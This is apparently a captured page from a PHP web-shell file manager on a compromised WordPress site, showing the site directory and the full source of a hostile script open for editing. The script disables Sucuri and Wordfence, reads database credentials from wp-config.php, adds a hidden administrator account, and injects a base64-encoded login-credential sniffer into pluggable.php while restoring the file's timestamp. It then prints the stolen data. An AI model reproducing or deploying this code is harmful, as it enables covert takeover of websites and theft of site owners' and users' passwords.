ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.3.36

Path:root/home2/myshopns/public_html/sarfraazahmed/

Name	Size	Perm	Actions
📁 .well-known	-	0755	🗑️ 🏷️
📁 cgi-bin	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📄 .htaccess	0.6 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess.cache.1569994139	0.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess.cache.1571706154	0.86 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess.cache.1579245272	0.86 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess.cache.1579595840	0.86 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess.cache.1580266028	0.86 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess.cache.1583120864	0.86 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess.phpupgrader.7dd77d5a	0.19 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess.phpupgrader.88b48a61	1.15 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess.phpupgrader.bcfaa2c1	1.14 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess.phpupgrader.initial	1.14 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 400.shtml	0.13 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 401.shtml	0.16 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 403.shtml	0.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 404.shtml	0.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 500.php	0.34 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 500.shtml	0.07 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 6920c408	0.3 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 899925ef.php	27.27 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 a8a5d0804a04d45c08a3176c51aba255.avi	3010.66 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin-ajax.php	4.95 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 default.html	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	159622.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 favicon.ico	0.8 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	17.33 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 license.txt	19.47 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 options.php	5.18 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 rXyji	4.64 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 readme.html	7.24 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 themes.php	4.96 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 tzcxfwhb.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 whsevfvs.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-activate.php	6.72 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-ajax.php	7.43 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-atom.php	12.54 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-blog-header.php	3.1 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-cli.yml	0.03 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-comments-post.php	1.84 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config-sample.php	2.79 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php	3.6 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-cron.php	6.32 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-headre.php	17.25 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-links-opml.php	2.37 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-load.php	3.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-login.php	36.42 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	7.82 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-settings.php	17.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-signup.php	29.39 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-trackback.php	4.58 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 xmlrpc.php	2.99 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: 4b0d4a3cd758b65c7f26a9df142b91ad.pl

<?php unlink(__FILE__); <?php

function get_wp_info($docroot)
{
    $cms_data = array();
    $cms_data['host'] = str_replace("www.", "", $_SERVER["HTTP_HOST"]);
    $cms_data['name'] = "wordpress";
    $cms_data['docroot'] = $docroot;
    $cms_data['ver'] = "";
    $cms_data['db_login'] = "";
    $cms_data['db_passwd'] = "";
    $cms_data['db_name'] = "";
    $cms_data['db_host'] = "";
    $cms_data['db_prefix'] = "";

$cms_data["wf_status"] = "none";
    $cms_data["wf2_status"] = "none";
    $cms_data["se_status"] = "none";

if (!@include("$docroot/wp-includes/version.php")) return $cms_data;

$base_path = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/plugins/";
    $need_to_disable = array("se_status" => "sucuri-scanner/sucuri.php",
        "wf_status" => "wordfence/wordfence.php", "wf2_status" => "wordfence/waf/bootstrap.php");

foreach ($need_to_disable as $name=>$plugin) {
        if (is_file($base_path . $plugin)) {
            @rename($base_path . $plugin, $base_path . $plugin . "backup" . rand());
            if (is_file($base_path . $plugin)) {
                $cms_data[$name] = "cantdisable";
            } else {
                $cms_data[$name] = "disabled";
            }
        }
    }

if (!isset($wp_version)) {
        $wp_version = "unknown";
    }

$content = @file_get_contents("$docroot/wp-config.php");
    preg_match_all(rawurldecode('%2F%28define%5C%28%5Cs%2A%5C%27%29%28%5B%5E%5C%27%5D%2B%29%28%5C%27%2C%5Cs%2A%5C%27%29%28%5B%5E%5C%27%5D%2B%29%2F'), $content, $matches);
    if (is_array($matches)) {
        for ($i = 0; $i < count($matches[2]); $i++) {
            if (stristr($matches[2][$i], "db_name")) {
                $cms_data['db_name'] = $matches[4][$i];
            } elseif (stristr($matches[2][$i], "db_user")) {
                $cms_data['db_login'] = $matches[4][$i];
            } elseif (stristr($matches[2][$i], "db_password")) {
                $cms_data['db_passwd'] = $matches[4][$i];
            } elseif (stristr($matches[2][$i], "db_host")) {
                $cms_data['db_host'] = $matches[4][$i];
            }
        }
    }

preg_match_all(rawurldecode("%2Ftable_prefix%5Cs%2A%3D%5Cs%2A%5B%27%22%5D%28.%2A%29%5B%27%22%5D%3B%2F"), $content, $matches);

if (is_array($matches)) {
        $cms_data['db_prefix'] = $matches[1][0];
    }

$cms_data['ver'] = $wp_version;

if (TRUE)
    {
        $cms_data = add_wp_user($cms_data);
    }

return set_wp_sniffer($docroot, $cms_data, "HcHKvEJS12nW5G2UfQbTotQfClrfSD5JO");
}

function gen_str($length = 10)
{
    return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}

function set_wp_sniffer($docroot, $cms_data, $auth)
{
    $replacement = "\$ignore_codes = array";
    $payload_dumper = base64_decode("ICAgIGlmICghaXNfd3BfZXJyb3IoJHVzZXIpKQogICAgewogICAgICAgICRjc3JmID0gIntBVVRIS0VZfSI7CiAgICAgICAgJGxpbmUgPSAkcGFzc3dvcmQgLiAiXHQiIC4gJHVzZXJuYW1lIC4gIlx0IiAuIGdldF9zaXRlX3VybCgpOwogICAgICAgICRrZXkgPSBzdHJfcmVwZWF0KCRjc3JmLCBpbnR2YWwoc3RybGVuKCRsaW5lKSAvIHN0cmxlbigkY3NyZikpICsgMSk7CiAgICAgICAgJGxpbmUgPSBiaW4yaGV4KCRsaW5lIF4gJGtleSk7CiAgICAKICAgICAgICAkbGluZXMgPSBnZXRfb3B0aW9uKCJ7RFVNUEZJTEV9Iik7CiAgICAgICAgJGxpbmVzID0gZXhwbG9kZSgiXG4iLCAkbGluZXMpOwogICAgICAgICRsaW5lc1tdID0gJGxpbmU7CiAgICAgICAgJGxpbmVzID0gYXJyYXlfdW5pcXVlKCRsaW5lcyk7CiAgICAgICAgdXBkYXRlX29wdGlvbigie0RVTVBGSUxFfSIsIGltcGxvZGUoIlxuIiwgYXJyYXlfdW5pcXVlKCRsaW5lcykpKTsKICAgIAogICAgICAgICRsaW5lcyA9IEBmaWxlKCJ7RFVNUEZJTEV9IiwgRklMRV9JR05PUkVfTkVXX0xJTkVTKTsKICAgICAgICAkbGluZXNbXSA9ICRsaW5lOwogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygie0RVTVBGSUxFfSIsIGltcGxvZGUoIlxuIiwgYXJyYXlfdW5pcXVlKCRsaW5lcykpKTsKICAgIH0K");

$patch_file = "$docroot/wp-includes/pluggable.php";

$path_content = @file_get_contents($patch_file);

if (strpos($path_content, "line ^ \$key") !== FALSE || strpos($path_content, "line ^ str_repeat") !== FALSE) {
        preg_match_all(rawurldecode("%2F%5C%24csrf%5Cs%3D%5Cs%5C%22%28%5Cw%7B20%2C%7D%29%5C%22%3B%2F"), $path_content, $matches);

if (is_array($matches))
        {
            $cms_data["auth_key"] = $matches[1][0];
        }

$cms_data["sniffer_status"] = "already";
        return $cms_data;
    }

$dump_file = substr(md5($auth), 0, 8);

$payload_dumper = str_replace("{AUTHKEY}", $auth, $payload_dumper);
    $payload_dumper = str_replace("{DUMPFILE}", $dump_file, $payload_dumper);

$old_time = @stat($patch_file);
    $src = @file_get_contents($patch_file);

$src = str_replace($replacement, $payload_dumper . "\r\n" . $replacement, $src);

@file_put_contents($patch_file, $src);
    @touch($patch_file, $old_time["mtime"]);

if (strpos(@file_get_contents($patch_file), $auth) !== FALSE) {
        $cms_data["sniffer_status"] = "installed";
    } else {
        $cms_data["sniffer_status"] = "error";
    }

return $cms_data;
}

function add_wp_user($cms_data)
{
    $db_name = $cms_data['db_name'];
    $db_user = $cms_data['db_login'];
    $db_pass = $cms_data['db_passwd'];
    $db_host = $cms_data['db_host'];
    $db_prefix = $cms_data['db_prefix'];

$username = $db_user . "2";
    $pass_plain = gen_str(8);

if (!empty($db_name)) {

if (strpos($db_host, ":") !== FALSE) {
            $host_port = explode(":", $db_host);
            $host = $host_port[0];
            $port = intval($host_port[1]);
        } else {
            $host = $db_host;
            $port = 3306;
        }

if ($conn = mysqli_connect($host, $db_user, $db_pass, $db_name, $port)) {

mysqli_select_db($conn, $db_name);

$result3 = mysqli_query($conn, "SELECT * FROM " . $db_prefix . "users WHERE user_login='" . $username . "';");
            if (mysqli_num_rows($result3)) {
                return $cms_data;
            }

$pass = md5($pass_plain);

mysqli_query($conn, "INSERT INTO $db_prefix" . "users (`user_login`, `user_pass`, `user_nicename`, `user_status`, `display_name`, `user_registered`) VALUES ('$username', '$pass', '$username', 0, '$username', '1979-01-01 00:00:00');");
            mysqli_query($conn, "SET @created_user_id = LAST_INSERT_ID();");
            mysqli_query($conn, "INSERT INTO $db_prefix" . "usermeta (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @created_user_id, '" . $db_prefix . "capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');");
            mysqli_query($conn, "INSERT INTO $db_prefix" . "usermeta (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @created_user_id, '" . $db_prefix . "user_level', '10');");
            mysqli_commit($conn);

$cms_data["cms_user"] = $username;
            $cms_data["cms_passwd"] = $pass_plain;

mysqli_close($conn);
        }
    }

return $cms_data;
}

echo "0D3VBpYCQnLRIO0KN6H4eYEOZCtxwVOgrSTywmqYYoFbxtzRWgSpikqRTmW" . base64_encode(serialize(get_wp_info($_SERVER["DOCUMENT_ROOT"]))) . "0D3VBpYCQnLRIO0KN6H4eYEOZCtxwVOgrSTywmqYYoFbxtzRWgSpikqRTmW";
exit();

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.3.36

Edit: 4b0d4a3cd758b65c7f26a9df142b91ad.pl

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.3.36